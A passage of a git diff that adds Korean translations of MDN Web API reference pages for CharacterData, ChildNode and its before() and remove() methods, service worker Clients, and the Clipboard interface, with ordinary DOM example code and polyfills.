+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(41)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>PortCollection</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(41)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Channel_Messaging_API">Channel Messaging API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></li>
+ <li><a href="/en-US/docs/Web/API/Broadcast_Channel_API">Broadcast Channel API</a></li>
+</ul>
diff --git a/files/ko/web/api/characterdata/index.html b/files/ko/web/api/characterdata/index.html
new file mode 100644
index 0000000000..0e0b383a82
--- /dev/null
+++ b/files/ko/web/api/characterdata/index.html
@@ -0,0 +1,97 @@
+---
+title: CharacterData
+slug: Web/API/CharacterData
+tags:
+  - API
+  - DOM
+translation_of: Web/API/CharacterData
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code><strong>CharacterData</strong></code> 추상 인터페이스는 문자를 포함하는 {{domxref("Node")}} 객체를 나타냅니다. 이는 추상 인터페이스로 <code>CharacterData</code> 타입의 객체로는 존재하지 않음을 의미합니다. {{domxref("Text")}}, {{domxref("Comment")}}, {{domxref("ProcessingInstruction")}} 와 같은 추상 인터페이스가 아닌 다른 인터페이스에의해 구현되었습니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<p><em>부모 {{domxref("Node")}} 로부터 프로퍼티를 상속받고 {{domxref("ChildNode")}} 와 {{domxref("NonDocumentTypeChildNode")}} 인터페이스를 구현합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("CharacterData.data")}}</dt>
+ <dd>이 객체를 포함하는 문자형 데이터를 나타내는 {{domxref("DOMString")}} 입니다.</dd>
+ <dt>{{domxref("CharacterData.length")}} {{readonlyInline}}</dt>
+ <dd><code>CharacterData.data</code> 에 포함된 문자열의 크기를 나타내는 <code>unsigned long</code> 을 반환합니다.</dd>
+ <dt>{{domxref("NonDocumentTypeChildNode.nextElementSibling")}} {{readonlyInline}}</dt>
+ <dd>부모의 자식 리스트 중 특정 {{domxref("Element")}} 의 바로 다음 {{domxref("Element")}} 를 반환합니다. 특정 엘리먼트가 리스트의 마지막 것일 경우 <code>null</code> 을 반환합니다.</dd>
+ <dt>{{domxref("NonDocumentTypeChildNode.previousElementSibling")}} {{readonlyInline}}</dt>
+ <dd>부모의 자식 리스트 중 특정 {{domxref("Element")}} 의 바로 이전 {{domxref("Element")}} 를 반환합니다. 특정 엘리먼트가 리스트의 처음 것일 경우 <code>null</code> 을 반환합니다.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">메소드</h2>
+
+<p><em>부모 {{domxref("Node")}} 로부터 메소드를 상속받고 {{domxref("ChildNode")}} 와<em> {{domxref("NonDocumentTypeChildNode")}} </em>인터페이스를 구현합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("CharacterData.appendData()")}}</dt>
+ <dd>주어진 {{domxref("DOMString")}} 을 <code>CharacterData.data</code> 문자열에 붙입니다. 이 메소드가 반환할 때 <code>data</code> 는 이어 붙여진 {{domxref("DOMString")}} 을 갖게됩니다.</dd>
+ <dt>{{domxref("CharacterData.deleteData()")}}</dt>
+ <dd><code>CharacterData.data</code> 문자열의 특정 오프셋으로부터 지정한 양만큼의 문자열을 제거합니다. 이 메소드가 반환할 때 <code>data</code> 는 짧아진 {{domxref("DOMString")}} 을 갖게됩니다.</dd>
+ <dt>{{domxref("CharacterData.insertData()")}}</dt>
+ <dd><code>CharacterData.data</code> 문자열의 특정 오프셋에 특정 문자열을 삽입합니다. 이 메소드가 반환할 때 <code>data</code> 는 수정된 {{domxref("DOMString")}} 을 갖게됩니다.</dd>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>부모의 자식 리스트로부터 객체를 제거합니다.</dd>
+ <dt>{{domxref("CharacterData.replaceData()")}}</dt>
+ <dd>특정 오프셋으로부터 지정한 양만큼의 문자열을 지정된 {{domxref("DOMString")}} 으로 대체합니다. 이 메소드가 반환할 때 <code>data</code> 는 수정된 {{domxref("DOMString")}} 을 갖게됩니다.</dd>
+ <dt>{{domxref("CharacterData.substringData()")}}</dt>
+ <dd><code>CharacterData.data</code> 의 특정 오프셋으로부터 지정된 길이만큼의 {{domxref("DOMString")}} 을 반환합니다.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#characterdata', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>{{domxref("ChildNode")}} 와 {{domxref("NonDocumentTypeChildNode")}} 인터페이스 구현을 추가했음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-FF21A306', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>{{SpecName('DOM2 Core')}} 로부터 변경사항 없음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-FF21A306', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>{{SpecName('DOM1')}} 로부터 변경사항 없음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-FF21A306', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p> </p>
+
+<p>{{Compat("api.CharacterData")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<p> </p>
+
+<ul>
+ <li><a href="/ko/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM 인터페이스 목차</a>.</li>
+</ul>
diff --git a/files/ko/web/api/childnode/before/index.html b/files/ko/web/api/childnode/before/index.html
new file mode 100644
index 0000000000..8481f44374
--- /dev/null
+++ b/files/ko/web/api/childnode/before/index.html
@@ -0,0 +1,144 @@
+---
+title: ChildNode.before()
+slug: Web/API/ChildNode/before
+tags:
+  - API
+  - DOM
+  - 노드
+  - 레퍼런스
+  - 메소드
+  - 실험중
+translation_of: Web/API/ChildNode/before
+---
+<div>{{APIRef("DOM")}} {{SeeCompatTable}}</div>
+
+<p><code><strong>ChildNode.before</strong></code> 메소드는 <code>ChildNode</code> 의 부모가 가진 자식의 <code>ChildNode</code> 바로 이전에 {{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합을 삽입합니다.{{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입됩니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">[Throws, Unscopable]
+void ChildNode.before((Node or DOMString)... nodes);
+</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>nodes</code></dt>
+ <dd>삽입할 {{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합입니다.</dd>
+</dl>
+
+<h3 id="예외">예외</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}}: 노드는 계층 구조의 특정 지점에 삽입될 수 없습니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="엘리먼트_삽입하기">엘리먼트 삽입하기</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.before(span);
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;"
+</pre>
+
+<h3 id="텍스트_삽입하기">텍스트 삽입하기</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+
+child.before("Text");
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;Text&lt;p&gt;&lt;/p&gt;&lt;/div&gt;"</pre>
+
+<h3 id="엘리먼트와_텍스트_삽입하기">엘리먼트와 텍스트 삽입하기</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.before(span, "Text");
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;span&gt;&lt;/span&gt;Text&lt;p&gt;&lt;/p&gt;&lt;/div&gt;"</pre>
+
+<h3 id="ChildNode.before()_는_범위를_지정할_수_없습니다"><code>ChildNode.before()</code> 는 범위를 지정할 수 없습니다</h3>
+
+<p><code>before()</code> 메소드는 <code>with</code> 구문으로 범위를 지정할 수 없습니다. 자세한 내용은 {{jsxref("Symbol.unscopables")}} 문서를 확인하세요.</p>
+
+<pre class="brush: js">with(node) {
+  before("foo");
+}
+// ReferenceError: before is not defined </pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>다음 코드를 사용해 인터넷 익스플로러 9 이상에서 <code>before() 메소드</code> 를 폴리필링할 수 있습니다.</p>
+
+<pre class="brush: js">// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/before()/before().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('before')) {
+      return;
+    }
+    Object.defineProperty(item, 'before', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function before() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.parentNode.insertBefore(docFrag, this);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-childnode-before', 'ChildNode.before()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.ChildNode.before")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("ChildNode")}} 와 {{domxref("ParentNode")}}</li>
+ <li>{{domxref("ChildNode.after()")}}</li>
+ <li>{{domxref("ParentNode.append()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ko/web/api/childnode/index.html b/files/ko/web/api/childnode/index.html
new file mode 100644
index 0000000000..2d48b7ef8c
--- /dev/null
+++ b/files/ko/web/api/childnode/index.html
@@ -0,0 +1,76 @@
+---
+title: ChildNode
+slug: Web/API/ChildNode
+tags:
+  - API
+  - DOM
+  - 노드
+  - 실험중
+  - 인터페이스
+translation_of: Web/API/ChildNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>ChildNode</strong></code> 인터페이스는 부모를 가질 수 있는 {{domxref("Node")}} 객체에 고유한 메소드를 포함합니다.</p>
+
+<p><code>ChildNode</code>는 원시 인터페이스이며 이 타입의 객체는 생성할 수 없습니다. 이는 {{domxref("Element")}}, {{domxref("DocumentType")}} 및 {{domxref("CharacterData")}} 객체로 구현되었습니다.</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<p><em>상속 및 특정 프로퍼티가 없습니다.</em></p>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>상속된 메소드가 없습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd><code>ChildNode</code>를 부모의 자식 목록으로부터 제거합니다.</dd>
+ <dt>{{domxref("ChildNode.before()")}} {{experimental_inline}}</dt>
+ <dd>{{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합을 부모의 자식 목록에서 <code>ChildNode</code>의 바로 앞에 삽입합니다. {{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입됩니다.</dd>
+ <dt>{{domxref("ChildNode.after()")}} {{experimental_inline}}</dt>
+ <dd>{{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합을 부모의 자식 목록에서 <code>ChildNode</code>의 바로 뒤에 삽입합니다. {{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입됩니다.</dd>
+ <dt>{{domxref("ChildNode.replaceWith()")}} {{experimental_inline}}</dt>
+ <dd>부모의 자식 목록에 있는 <code>ChildNode</code>를 {{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합으로 대체합니다.{{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입됩니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'ChildNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td><code>ElementTraversal</code> 인터페이스를 {{domxref("ParentNode")}}와 <code>ChildNode</code>로 분리합니다. <code>previousElementSibling</code>과 <code>nextElementSibling</code>은 이제 마지막에 정의됩니다. {{domxref("CharacterData")}}와 {{domxref("DocumentType")}}은 새 인터페이스를 구현했습니다. <code>remove()</code>, <code>before()</code>, <code>after()</code> 및 <code>replaceWith()</code> 메소드가 추가되었습니다.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>프로퍼티의 초기 정의가 <code>ElementTraversal</code> 순수 인터페이스에 추가되었고 {{domxref("Element")}}에서 사용합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>github의 외부 코드: <a href="https://github.com/seznam/JAK/blob/master/lib/polyfills/childNode.js">childNode.js</a></p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.ChildNode")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{domxref("ParentNode")}} 순수 인터페이스.</li>
+ <li>
+  <div class="syntaxbox">순수 인터페이스를 구현한 객체 타입: {{domxref("CharacterData")}}, {{domxref("Element")}} 및 {{domxref("DocumentType")}}.</div>
+ </li>
+</ul>
diff --git a/files/ko/web/api/childnode/remove/index.html b/files/ko/web/api/childnode/remove/index.html
new file mode 100644
index 0000000000..2c4992989f
--- /dev/null
+++ b/files/ko/web/api/childnode/remove/index.html
@@ -0,0 +1,97 @@
+---
+title: ChildNode.remove()
+slug: Web/API/ChildNode/remove
+tags:
+  - API
+  - ChildNode
+  - DOM
+  - 메소드
+  - 실험중
+translation_of: Web/API/ChildNode/remove
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>ChildNode.remove()</strong></code> 메소드는 이를 포함하는 트리로부터 객체를 제거합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>node</em>.remove();
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="remove()_사용하기"><code>remove()</code> 사용하기</h3>
+
+<pre class="brush: html">&lt;div id="div-01"&gt;div-01 입니다&lt;/div&gt;
+&lt;div id="div-02"&gt;div-02 입니다&lt;/div&gt;
+&lt;div id="div-03"&gt;div-03 입니다&lt;/div&gt;
+</pre>
+
+<pre class="brush: js">var el = document.getElementById('div-02');
+el.remove(); // id가 'div-02' 인 div를 제거합니다
+</pre>
+
+<h3 id="ChildNode.remove()_는_스코프_지정_불가"><code>ChildNode.remove()</code> 는 스코프 지정 불가</h3>
+
+<p><code>remove()</code> 메소드는 <code>with</code> 구문으로 스코프를 지정할 수 없습니다. 자세한 내용은 {{jsxref("Symbol.unscopables")}} 을 확인하세요.</p>
+
+<pre class="brush: js">with(node) {
+  remove();
+}
+// ReferenceError: remove is not defined </pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>인터넷 익스플로러 9 이상에서는 다음 코드를 사용해 <code>remove() 메소드</code> 를 폴리필링할 수 있습니다.</p>
+
+<pre class="brush: js">// from:https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('remove')) {
+      return;
+    }
+    Object.defineProperty(item, 'remove', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function remove() {
+        if (this.parentNode !== null)
+          this.parentNode.removeChild(this);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.ChildNode.remove")}}</p>
+</div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("ChildNode")}} 순수 인터페이스.</li>
+ <li>
+  <div class="syntaxbox">이 순수 인터페이스를 구현하는 객체 타입: {{domxref("CharacterData")}}, {{domxref("Element")}}, {{domxref("DocumentType")}}.</div>
+ </li>
+</ul>
diff --git a/files/ko/web/api/clients/claim/index.html b/files/ko/web/api/clients/claim/index.html
new file mode 100644
index 0000000000..ff74825a1d
--- /dev/null
+++ b/files/ko/web/api/clients/claim/index.html
@@ -0,0 +1,66 @@
+---
+title: Clients.claim()
+slug: Web/API/Clients/claim
+translation_of: Web/API/Clients/claim
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Worker Clients")}}</p>
+
+<p><span class="seoSummary">{{domxref("Clients")}} 의 <strong><code>claim()</code></strong> 메소드는 active 서비스워커가 그것의 {{domxref("ServiceWorkerRegistration.scope", "scope")}} 를 가지는 모든 클라이언트들의 {{domxref("ServiceWorkerContainer.controller", "controller")}} 로서 자신을 등록하는 것을 허용한다. 이것은 이 서비스워커가 제어하게 될 클라이언트들에 "<code>controllerchange</code>" 이벤트를 발생시킨다.</span></p>
+
+<p>서비스워커가 최초에 등록되면, 페이지들은 다음 로드시까지 그것을 사용하지 않을 것이다. <code>claim()</code> 메소드는 그 페이지들을 즉시 제어될 수 있도록 한다. 이로 인해, 당신의 서비스워커는 네트워크 또는 다른 서비스워커를 통해 정기적으로 로드되는 페이지들을 제어하게 된다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">await clients.claim();
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<p>None.</p>
+
+<h3 id="Returns">Returns</h3>
+
+<p>A {{jsxref("Promise")}} for <code>void</code>.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 예시는 서비스워커의 "<code>activate</code>" 이벤트 리스너에서 <code>claim()</code> 를 사용하므로, fetch 들이 이 서비스워커를 통과하기 전에 동일한 스코프에서 로드된 클라이언트들은 다시 로드될 필요가 없다. .</p>
+
+<pre class="brush: js">self.addEventListener('activate', event =&gt; {
+  event.waitUntil(clients.claim());
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#clients-claim', 'claim()')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.Clients.claim")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/instant-and-offline/service-worker/lifecycle">The service worker lifecycle</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise", "Promises")}}</li>
+ <li>{{domxref("ServiceWorkerGlobalScope.skipWaiting()", "self.skipWaiting()")}} - skip the service worker's waiting phase </li>
+</ul>
diff --git a/files/ko/web/api/clients/index.html b/files/ko/web/api/clients/index.html
new file mode 100644
index 0000000000..d4365b320e
--- /dev/null
+++ b/files/ko/web/api/clients/index.html
@@ -0,0 +1,102 @@
+---
+title: Clients
+slug: Web/API/Clients
+tags:
+  - API
+  - Clients
+  - Experimental
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - Service Workers
+  - Service worker API
+  - ServiceWorker
+  - TopicStub
+  - Workers
+translation_of: Web/API/Clients
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p><span class="seoSummary">The <code>Clients</code> interface provides access to {{domxref("Client")}} objects. Access it via <code>{{domxref("ServiceWorkerGlobalScope", "self")}}.clients</code> within a <a href="/en-US/docs/Web/API/ServiceWorker_API">service worker</a>.</span></p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Clients.get()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} for a {{domxref("Client")}} matching a given {{domxref("Client.id", "id")}}.</dd>
+ <dt>{{domxref("Clients.matchAll()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} for an array of {{domxref("Client")}} objects. An options argument allows you to control the types of clients returned. </dd>
+ <dt>{{domxref("Clients.openWindow()")}}</dt>
+ <dd>Opens a new browser window for a given url and returns a {{jsxref("Promise")}} for the new {{domxref("WindowClient")}}.</dd>
+ <dt>{{domxref("Clients.claim()")}}</dt>
+ <dd>Allows an active service worker to set itself as the {{domxref("ServiceWorkerContainer.controller", "controller")}} for all clients within its {{domxref("ServiceWorkerRegistration.scope", "scope")}}. </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The following example shows an existing chat window or creates a new one when the user clicks a notification.</p>
+
+<pre class="brush: js">addEventListener('notificationclick', event =&gt; {
+  event.waitUntil(async function() {
+    const allClients = await clients.matchAll({
+      includeUncontrolled: true
+    });
+
+    let chatClient;
+
+    // Let's see if we already have a chat window open:
+    for (const client of allClients) {
+      const url = new URL(client.url);
+
+      if (url.pathname == '/chat/') {
+        // Excellent, let's use it!
+        client.focus();
+        chatClient = client;
+        break;
+      }
+    }
+
+    // If we didn't find an existing chat window,
+    // open a new one:
+    if (!chatClient) {
+      chatClient = await clients.openWindow('/chat/');
+    }
+
+    // Message the client:
+    chatClient.postMessage("New chat messages!");
+  }());
+});
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#clients', 'Clients')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.Clients")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/ko/web/api/clipboard/index.html b/files/ko/web/api/clipboard/index.html
new file mode 100644
index 0000000000..7dad311ca7
--- /dev/null
+++ b/files/ko/web/api/clipboard/index.html
@@ -0,0 +1,89 @@
+---
+title: Clipboard
+slug: Web/API/Clipboard
+tags:
+  - API
+  - Clipboard
+  - Clipboard API
+  - Interface
+  - Reference
+  - 인터페이스
+  - 클립보드
+  - 클립보드 API
+translation_of: Web/API/Clipboard
+---
+<p>{{SeeCompatTable}}{{APIRef("Clipboard API")}}</p>
+
+<div class="blockIndicator note">
+<p>clipboard는 데이터 저장 또는 전송을 위한 짧은 기간동안 사용하는 데이터 버퍼 입니다.  documents 와 applications 양쪽에서 사용 가능합니다.  It is usually implemented as an anonymous, temporary <a href="https://en.wikipedia.org/wiki/Data_buffer" title="Data buffer">data buffer</a>, sometimes called the paste buffer, that can be accessed from most or all programs within the environment via defined <a href="https://en.wikipedia.org/wiki/Application_programming_interface" title="Application programming interface">programming interfaces</a>.</p>
+
+<p>A typical application accesses clipboard functionality by mapping <a href="https://en.wikipedia.org/wiki/User_input" title="User input">user input</a> such as <a href="https://en.wikipedia.org/wiki/Keybinding" title="Keybinding">keybindings</a>, <a href="https://en.wikipedia.org/wiki/Menu_(computing)" title="Menu (computing)">menu selections</a>, etc. to these interfaces.</p>
+</div>
+
+<p><a href="/en-US/docs/Web/API/Clipboard_API">Clipboard API</a> 의 <strong><code>Clipboard</code></strong> 인터페이스는 시스템 클립보드로부터 텍스트 및 데이터를 읽거나 시스템 클립보드에 쓰기 위한 인터페이스를 지원합니다.</p>
+
+<p>The Clipboard API can be used to implement cut, copy, and paste features within a web application.</p>
+
+<p>The system clipboard is exposed through the global {{domxref("Navigator.clipboard")}} property.</p>
+
+<p>Calls to the methods of the <code>Clipboard</code> object will not succeed if the user hasn't granted the needed permissions using the <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Permissions_API">Permissions API</a> and the <code>"clipboard-read"</code> or <code>"clipboard-write"</code> permission as appropriate.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> In reality, at this time browser requirements for access to the clipboard vary significantly. Please see the section {{anch("Clipboard availability")}} for details.</p>
+</div>
+
+<p>All of the Clipboard API methods operate asynchronously; they return a {{jsxref("Promise")}} which is resolved once the clipboard access has been completed. The promise is rejected if clipboard access is denied.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em><code>Clipboard</code> 는 {{domxref("EventTarget")}} 인터페이스를 기반으로 하고 있으며, 해당 인터페이스의 method를 포함합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("Clipboard.read()","read()")}}</dt>
+ <dd>클립보드로부터 임의의 데이터(이미지와 같은)를 요청하며, returning a {{jsxref("Promise")}}. When the data has been retrieved, the promise is resolved with a {{domxref("DataTransfer")}} object that provides the data.</dd>
+ <dt>{{domxref("Clipboard.readText()","readText()")}}</dt>
+ <dd>시스템 클립보드로부터 텍스트를 읽는다. returns a <code>Promise</code> which is resolved with a {{domxref("DOMString")}} containing the clipboard's text once it's available.</dd>
+ <dt>{{domxref("Clipboard.write()","write()")}}</dt>
+ <dd>시스템 클립보드에 예를 들어 이미지들과 같은 데이터를 쓴다. 이 비동기 작업은 Promise를 반환된 <code>Promise</code>를 resolve 함으로써 작업이 종료되었다는 사실을 알립니다.</dd>
+ <dt>{{domxref("Clipboard.writeText()","writeText()")}}</dt>
+ <dd>시스템 클립보드에 텍스트를 쓰며, returning a <code>Promise</code> which is resolved once the text is fully copied into the clipboard.</dd>
+</dl>
+
+<h2 id="Clipboard_availability">Clipboard availability</h2>
+
+<p>The asynchronous clipboard API is a relatively recent addition, and the process of implementing it in browsers is not yet complete. Due to both potential security concerns and technical complexities, the process of integrating this API is happening gradually in most browsers.</p>
+
+<p>For example, Firefox does not yet support the <code>"clipboard-read"</code> and <code>"clipboard-write"</code> permissions, so access to the methods that access and change the contents of the clipboard are restricted in other ways.</p>
+
+<p>For WebExtensions, you can request the clipboardRead and clipboardWrite permissions to be able to use clipboard.readText() and clipboard.writeText(). Content scripts applied on HTTP sites do not have access to the clipboard object. See <a href="https://blog.mozilla.org/addons/2018/08/31/extensions-in-firefox-63/">extensions in Firefox 63</a>.</p>
+
+<p>In addition, {{domxref("Clipboard.read", "read()")}} and {{domxref("Clipboard.write", "write()")}} are disabled by default and require changing a preference to enable them. Check the compatibility tables for each method before using it.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
